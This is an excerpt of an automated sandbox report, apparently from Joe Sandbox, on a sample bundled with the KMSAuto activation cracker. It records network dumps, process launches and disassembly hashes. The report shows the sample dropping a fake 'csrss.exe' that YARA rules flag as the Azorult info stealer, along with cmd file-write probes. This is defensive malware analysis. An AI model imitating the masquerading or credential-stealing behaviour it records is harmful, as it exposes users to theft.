Mar 25, 2023 14:27:06.708503008 CET	97	IN	Data Raw: 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 66 6f 6f 74 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 72 69 67 68 74 2d 73 69 64 65 20 2e 69 6d 61 67 65 2d 63 6f Data Ascii: de{display:table}.wrapper .content .footer,.wrapper .content .right-side .image-container{display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex}.wrapper .content .right-side .image-container{width:100%;heig
Mar 25, 2023 14:27:06.708548069 CET	98	IN	Data Raw: 65 2d 73 70 61 63 65 3a 70 72 65 2d 6c 69 6e 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 66 6f 6f 74 65 72 5f 5f 72 69 67 68 74 73 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 30 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 3b Data Ascii: e-space:pre-line}.wrapper .content .footer__rights{font-size:10px;font-weight:700;line-height:138%;color:#000;opacity:.4}.wrapper .content .footer__rights .year{font-weight:700}@media screen and (max-width:1105px){.wrapper .content{padding-lef
Mar 25, 2023 14:27:06.708592892 CET	100	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 62 6c 6f 63 6b 5f 5f 6e 61 6d 65 22 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 3c 62 3e 34 30 34 30 3c 2f 62 3e 3c 2f 70 3e 0a 20 20 20 20 Data Ascii: <p class="error-block__name"> <b>4040</b></p> <p class="error-block__en">Error 4040. <b> Domain not found on server.</b></p> <h
Mar 25, 2023 14:27:06.708640099 CET	101	IN	Data Raw: 37 33 37 37 43 31 38 30 2e 32 32 36 20 37 33 2e 32 36 35 33 20 31 38 35 2e 31 39 39 20 37 34 2e 36 30 32 20 31 38 39 2e 39 38 20 37 33 2e 30 37 34 33 43 31 39 33 2e 38 30 36 20 37 31 2e 39 32 38 36 20 31 39 37 2e 30 35 37 20 36 39 2e 30 36 34 34 Data Ascii: 7377C180.226 73.2653 185.199 74.602 189.98 73.0743C193.806 71.9286 197.057 69.0644 198.014 65.2454C198.587 63.9087 196.675 63.5268 196.292 64.6725Z" fill="black"/> <path d="M172.767 100.762C171.428 100.189 169.898 99.9985 168.559 99.99
Mar 25, 2023 14:27:06.708688021 CET	103	IN	Data Raw: 2e 37 32 36 43 31 33 37 2e 33 38 33 20 31 30 33 2e 34 33 35 20 31 34 30 2e 30 36 20 31 30 30 2e 39 35 32 20 31 34 32 2e 35 34 37 20 39 38 2e 34 36 39 38 43 31 34 33 2e 35 30 33 20 39 37 2e 35 31 35 20 31 34 32 2e 31 36 34 20 39 36 2e 31 37 38 34 Data Ascii: .726C137.383 103.435 140.06 100.952 142.547 98.4698C143.503 97.515 142.164 96.1784 141.208 97.1331Z" fill="black"/> <path d="M139.104 92.3605L128.393 95.6066C127.245 95.9885 127.628 97.7071 128.967 97.5161C132.601 96.3704 136.235 95.41
Mar 25, 2023 14:27:06.708733082 CET	104	IN	Data Raw: 2e 31 31 20 32 39 34 2e 34 31 31 20 31 30 36 2e 31 31 43 32 39 35 2e 31 37 36 20 31 30 34 2e 33 39 31 20 32 39 36 2e 33 32 34 20 31 30 32 2e 32 39 31 20 32 39 34 2e 39 38 35 20 31 30 30 2e 35 37 32 43 32 39 34 2e 36 30 32 20 39 39 2e 39 39 39 31 Data Ascii: .11 294.411 106.11C295.176 104.391 296.324 102.291 294.985 100.572C294.602 99.9991 294.029 99.9991 293.455 100.381C290.395 103.436 287.143 106.491 284.083 109.547C283.892 109.738 260.749 128.26 251.568 139.717C247.36 137.043 243.152 134.561 23
Mar 25, 2023 14:27:06.708779097 CET	105	IN	Data Raw: 30 37 35 20 35 33 2e 39 38 30 31 43 35 37 2e 32 34 32 34 20 35 34 2e 31 37 31 31 20 35 37 2e 30 35 31 32 20 35 35 2e 31 32 35 38 20 35 37 2e 36 32 35 20 35 35 2e 35 30 37 37 43 36 33 2e 33 36 32 39 20 36 31 2e 34 32 37 32 20 36 39 2e 31 30 30 39 Data Ascii: 075 53.9801C57.2424 54.1711 57.0512 55.1258 57.625 55.5077C63.3629 61.4272 69.1009 67.3466 75.0301 73.2661C80.1943 78.4217 85.5497 83.1955 91.6702 87.2055C94.7304 89.115 97.9819 90.8335 101.425 92.1702C103.146 102.481 105.059 112.984 109.649 1
Mar 25, 2023 14:27:06.708825111 CET	107	IN	Data Raw: 37 37 20 31 32 35 2e 35 38 36 43 31 32 2e 31 30 33 39 20 31 32 35 2e 37 37 37 20 31 31 2e 33 33 38 38 20 31 32 36 2e 31 35 39 20 31 30 2e 39 35 36 33 20 31 32 36 2e 37 33 32 43 31 30 2e 35 37 33 38 20 31 32 37 2e 33 30 35 20 31 30 2e 35 37 33 38 Data Ascii: 77 125.586C12.1039 125.777 11.3388 126.159 10.9563 126.732C10.5738 127.305 10.5738 128.069 10.9563 128.833C11.3388 129.405 12.1039 129.787 12.6777 130.169C13.0602 130.551 13.634 130.742 14.0165 130.933C12.1039 131.506 10.3825 132.843 9.61744 1
Mar 25, 2023 14:27:06.769632101 CET	108	IN	Data Raw: 33 30 39 2e 38 35 33 43 36 37 2e 31 38 38 32 20 33 31 31 2e 35 37 32 20 36 31 2e 36 34 31 35 20 33 31 33 2e 36 37 32 20 36 30 2e 36 38 35 32 20 33 31 39 2e 30 31 39 43 35 39 2e 37 32 38 39 20 33 32 33 2e 36 30 32 20 36 33 2e 35 35 34 32 20 33 32 Data Ascii: 309.853C67.1882 311.572 61.6415 313.672 60.6852 319.019C59.7289 323.602 63.5542 326.848 67.5708 328.185C72.9262 329.903 79.0467 329.139 84.4021 327.803C89.5662 326.466 94.5391 324.748 99.1295 322.265C108.501 317.682 116.726 311.19 123.42 303.1

Target ID:	0
Start time:	14:27:01
Start date:	25/03/2023
Path:	C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.exe
Imagebase:	0x400000
File size:	8425933 bytes
MD5 hash:	1AC70328CE1DEA448647022C5B360A67
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Target ID:	1
Start time:	14:27:04
Start date:	25/03/2023
Path:	C:\Users\user\AppData\Roaming\csrss.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\csrss.exe" /nc /s
Imagebase:	0x400000
File size:	5027840 bytes
MD5 hash:	2A0C555C70EB25094C94E4BA5A6BA131
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Author: Joe Security Rule: Windows_Trojan_Azorult_38fce9ea, Description: unknown, Source: 00000001.00000002.285901899.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 67%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	2
Start time:	14:27:04
Start date:	25/03/2023
Path:	C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\KMSAuto\KMSAuto Net\KMSAuto Net.exe" /nc
Imagebase:	0x10000
File size:	8767160 bytes
MD5 hash:	2FB86BE791B4BB4389E55DF0FEC04EB7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low

Show Windows behavior

Target ID:	4
Start time:	14:27:06
Start date:	25/03/2023
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5224 -s 1136
Imagebase:	0xd60000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	12
Start time:	14:27:22
Start date:	25/03/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md "C:\Users\user\AppData\Local\MSfree Inc"
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	15
Start time:	14:27:22
Start date:	25/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	16
Start time:	14:27:26
Start date:	25/03/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c echo test>>"C:\Program Files (x86)\KMSAuto\KMSAuto Net\test.test"
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	17
Start time:	14:27:26
Start date:	25/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	18
Start time:	14:27:26
Start date:	25/03/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Sysnative\cmd.exe /D /c del /F /Q "test.test"
Imagebase:	0x7ff707bb0000
File size:	273920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Target ID:	19
Start time:	14:27:26
Start date:	25/03/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Function 046C1087 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9c995dac3923caa1844a63bb3f2947c039c349f74f887706196c77cedc66c67
Instruction ID: e40bfa1d0a6b044a8fcde5966f98a515bf3114ac2530f6f2bda653c43d065662
Opcode Fuzzy Hash: b9c995dac3923caa1844a63bb3f2947c039c349f74f887706196c77cedc66c67
Instruction Fuzzy Hash: 24022772B042218BD708CE18C4902BDBBE2FBC5345F154A3EF59697A86E774E884CF95

Uniqueness

Uniqueness Score: -1.00%

Function 046C3B07 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce8d286d1523e8950fc12ac4b8cd7b5ce741b602c791c303a6bfb49191d7ac93
Instruction ID: 748e40044e32f92cdfd9f1eaf8fd1d0b3b7355d1d04052036a195310ced6c53f
Opcode Fuzzy Hash: ce8d286d1523e8950fc12ac4b8cd7b5ce741b602c791c303a6bfb49191d7ac93
Instruction Fuzzy Hash: 55D1C1B2A58A664FD364DF49DC802357762AFC8200F9B067DC66407363CA78F953DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 046C31E7 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b65dd5cc14a9fce525a6856849c7e0cb13a5ff6bafc99ec235d207119c379bd
Instruction ID: 2f79b6cbf95d27c57ddec0c3ef75ff1c277802ac6e64d19b209ae31762c648a5
Opcode Fuzzy Hash: 9b65dd5cc14a9fce525a6856849c7e0cb13a5ff6bafc99ec235d207119c379bd
Instruction Fuzzy Hash: 1A917DB29083658FC315DF49D88455AF7E1BFD4304F0B86AEE9985B322E270A945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 046C2FE7 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db2813f2793a401f57ef1f057e374387a95f5094451eb2922e501202bfc2a8db
Instruction ID: 8f3c2584de6225e94368c1838399da06e760d8afd7a5d8bc2a22460a55e52d80
Opcode Fuzzy Hash: db2813f2793a401f57ef1f057e374387a95f5094451eb2922e501202bfc2a8db
Instruction Fuzzy Hash: 206149726087118FC318DF49D48494AF3E1FFC8328F168A6DEA885B361D771E959CB86

Uniqueness

Uniqueness Score: -1.00%

Function 046C3597 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f439fddda1cff378aa7405ded2eec4dbc5bcc2cb1461a5db01c36286a516767
Instruction ID: 61ec7da891ac379a079c4cada1c54a3c951e7f08e9cfa06a59bad265c7ae26eb
Opcode Fuzzy Hash: 4f439fddda1cff378aa7405ded2eec4dbc5bcc2cb1461a5db01c36286a516767
Instruction Fuzzy Hash: 7A61735510DBD59AC326CF3988901A5FFF1AE67001708879DE8E543F86C268F6A8CBF1

Uniqueness

Uniqueness Score: -1.00%

Function 046BF8FF Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 799d1115dc2863312a6815c420eb3dd35bfefad0a364759f5b8cc872ca117984
Instruction ID: 8458d4d4d269ca468090b602944776c6948db0dcb526dbd5a8198f63e6d3541e
Opcode Fuzzy Hash: 799d1115dc2863312a6815c420eb3dd35bfefad0a364759f5b8cc872ca117984
Instruction Fuzzy Hash: E841D471B50A200AB318CF268C841A62BD3DBCA386795C23CC561C66DDDEBDC057C6A8

Uniqueness

Uniqueness Score: -1.00%

Function 046C3947 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da58cda1e4a3e41df5831c516bb8b01ca1fa6d25def6b220089d14d8ce8e8937
Instruction ID: 727ecf8a08318eff18c6e3e90a6dd58bf46e21329c404715613e8378649f1e35
Opcode Fuzzy Hash: da58cda1e4a3e41df5831c516bb8b01ca1fa6d25def6b220089d14d8ce8e8937
Instruction Fuzzy Hash: F3312B72B087A646E310AE1E8C40135BB93EFC1111F59C7BDD8944BB4AE935A592C7B0

Uniqueness

Uniqueness Score: -1.00%

Function 046C502A Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction ID: f83d5bf9d57220e134c0efa5b8faa546837d28f5af661a832ae9dcaf1d96617f
Opcode Fuzzy Hash: e781e73348b070714efe4b9f1f387dbcbf5b044bf6c7f23a7a0004d2e0ca769a
Instruction Fuzzy Hash: 67418061814B9653EB234F7CC882272B320BFAB244F00D76AFDD1B9962FB326544A651

Uniqueness

Uniqueness Score: -1.00%

Function 046C4887 Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe93bfcd9158faa8c00da4e9f32d0b20577b1cbc1f0c38ad72f46926000780c7
Instruction ID: b03d9a9b39a7da2c66e1161dc44964ad18036ac87affdce31a534004a2cc065d
Opcode Fuzzy Hash: fe93bfcd9158faa8c00da4e9f32d0b20577b1cbc1f0c38ad72f46926000780c7
Instruction Fuzzy Hash: 74111F7E3B0D0607A75C8769AC73ABD21C1E3843087C8A53CF69BC62D1EE6D9495C10D

Uniqueness

Uniqueness Score: -1.00%

Function 046C51B7 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction ID: 648a44d9ab036f68ae4d78b5d0b44b46e6810078e73c9c450a1b1abfd4f036d5
Opcode Fuzzy Hash: d500e99f8a94672710fdab3da84f4ff88beaa55a68f080d6b94a73964fb8a436
Instruction Fuzzy Hash: 1E21F5329006355BCB02CE6EE8845A7F3D1FBC436AF17473AED8567690D638B814C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 046C5292 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.249638481.00000000046B0000.00000004.00001000.00020000.00000000.sdmp, Offset: 046B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_46b0000_ADDCDF9E3BAC722442FB269492FEA86E91D4E97EE5DF4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction ID: 3446dfe45843fe060c6729c922912dd58e8656c16347771fe04eb95af6f075f9
Opcode Fuzzy Hash: d88b4545622fc2f48369f3988b55fed1d0241348448e0d26e09a3dd7181b3030
Instruction Fuzzy Hash: 492137725144355BC305DF2DE888677B3E1FFD4319F978A2AD9878B281E628F405DA90

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: KMSAuto Net.exePID: 5148, Parent PID: 4204COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	308
Total number of Limit Nodes:	22

Executed Functions

Function 01256A61 Relevance: 6.1, APIs: 4, Instructions: 126
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01256AD0
GetCurrentThread.KERNEL32 ref: 01256B0D
GetCurrentProcess.KERNEL32 ref: 01256B4A
GetCurrentThreadId.KERNEL32 ref: 01256BA3

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: a459e0f52ee480e9f8bb6e7f57e2238004bded815c6bf17bd20e52b276608ab7
Instruction ID: af760960fbc8024ec6001827b6732a2aa411bd46b797cc5e0f797ef8ea0bf85f
Opcode Fuzzy Hash: a459e0f52ee480e9f8bb6e7f57e2238004bded815c6bf17bd20e52b276608ab7
Instruction Fuzzy Hash: 025184B49002898FDB14CFAAD988BDEBFF1EF88304F248459E409B7250D775A884CF65

Uniqueness

Uniqueness Score: -1.00%

Function 01256A70 Relevance: 6.1, APIs: 4, Instructions: 120
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 01256AD0
GetCurrentThread.KERNEL32 ref: 01256B0D
GetCurrentProcess.KERNEL32 ref: 01256B4A
GetCurrentThreadId.KERNEL32 ref: 01256BA3

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d7f415c631fdfe7cbd485d6d20d667ae95535967c604f7904ac9950733e1c181
Instruction ID: 0f5ca3f0d8c89a303bba95d69fb7cd22b2326cb17243f72df698896b4dec6f89
Opcode Fuzzy Hash: d7f415c631fdfe7cbd485d6d20d667ae95535967c604f7904ac9950733e1c181
Instruction Fuzzy Hash: B95165B49002498FDB14DFAAD988B9EBBF1FF48304F648459E419B7250D774A884CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0125BA98 Relevance: 1.7, APIs: 1, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0125BCEE

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 56dc87714abeee999b418e4270878ee26ae11028c53a403341e63c2492ba2894
Instruction ID: a773ac23f2379626330ae870c1c46625a73cecf4a848c18d7f09ff32db194029
Opcode Fuzzy Hash: 56dc87714abeee999b418e4270878ee26ae11028c53a403341e63c2492ba2894
Instruction Fuzzy Hash: 92814670A10B068FD764DF2AC48576ABBF2FF88304F108A2AD986D7A50D775E805CB91

Uniqueness

Uniqueness Score: -1.00%

Function 05159B00 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000014,?,?,03C6608C,02CAA8B8,?,00000000), ref: 05159C5E

Memory Dump Source

Source File: 00000002.00000002.518791870.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5150000_KMSAuto Net.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 466b1bb9cd3b03761ce74f1ba5c2a063d0e9f1df851a9e7366cfbcd83c3662ba
Instruction ID: d745325368b7b446961d23815ca68f7506f4839b06ee24af6ec0dad706e30c18
Opcode Fuzzy Hash: 466b1bb9cd3b03761ce74f1ba5c2a063d0e9f1df851a9e7366cfbcd83c3662ba
Instruction Fuzzy Hash: 3E717C74A11208EFCB55DF69D884DAEBBB6FF48624F114498F912AB361DB31EC81CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0125DB4C Relevance: 1.6, APIs: 1, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0125DC6A

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e20b852575e3aa89b24b1210fe3f25245874de111722d43f6ec8cf409bcbb772
Instruction ID: 0ffa33114d8536c3783dab7fbf4de41ccafa4dc095bc51db9bca96d7a67f99cb
Opcode Fuzzy Hash: e20b852575e3aa89b24b1210fe3f25245874de111722d43f6ec8cf409bcbb772
Instruction Fuzzy Hash: 4651C1B5D10309DFDB14CF99C984ADDBFB6BF48314F24862AE819AB210D7B49885CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0125DB58 Relevance: 1.6, APIs: 1, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 0125DC6A

Memory Dump Source

Source File: 00000002.00000002.515666719.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Offset: 01250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1250000_KMSAuto Net.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a64f9d1d1bdc0fde66082e91d1fc41e69fe9b7e3842dffe29fed06c0fcfb2801
Instruction ID: 5d4e8d00a05f2f0045d5c0ba62c97a5886ae3ad60c3003b2d06f3a6ca4ad6e85
Opcode Fuzzy Hash: a64f9d1d1bdc0fde66082e91d1fc41e69fe9b7e3842dffe29fed06c0fcfb2801
Instruction Fuzzy Hash: 5C41C2B1D10309DFDB14CF9AC984ADEBFB6BF48314F24862AE819AB210D7759845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 05153B6C Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,05155225,?,?), ref: 051552D7

Memory Dump Source

Source File: 00000002.00000002.518791870.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5150000_KMSAuto Net.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 102391b3830285d907bbc0bcbd78d74f1aa35d6af53642bc0e0ea182d2a0c771
Instruction ID: 7896e96c3aac4a185efbf6831a83881b934a9a07ce6d5779fc3855be115f3cc6
Opcode Fuzzy Hash: 102391b3830285d907bbc0bcbd78d74f1aa35d6af53642bc0e0ea182d2a0c771
Instruction Fuzzy Hash: A531C3B5900209DFDB10CF9AD884ADEBBF6FB48324F55842EE819A7310D775A944CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 05155238 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DrawTextExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,05155225,?,?), ref: 051552D7

Memory Dump Source

Source File: 00000002.00000002.518791870.0000000005150000.00000040.00000800.00020000.00000000.sdmp, Offset: 05150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5150000_KMSAuto Net.jbxd

Similarity

API ID: DrawText
String ID:
API String ID: 2175133113-0
Opcode ID: 99933e4d16769d6f8c6c192903dd8bce702274893e4467ea59857398cdee7105
Instruction ID: b8e2a146a02e6b8a85f9dae1d17f43cd988d13567e10f48160c00c87a3d49cde
Opcode Fuzzy Hash: 99933e4d16769d6f8c6c192903dd8bce702274893e4467ea59857398cdee7105
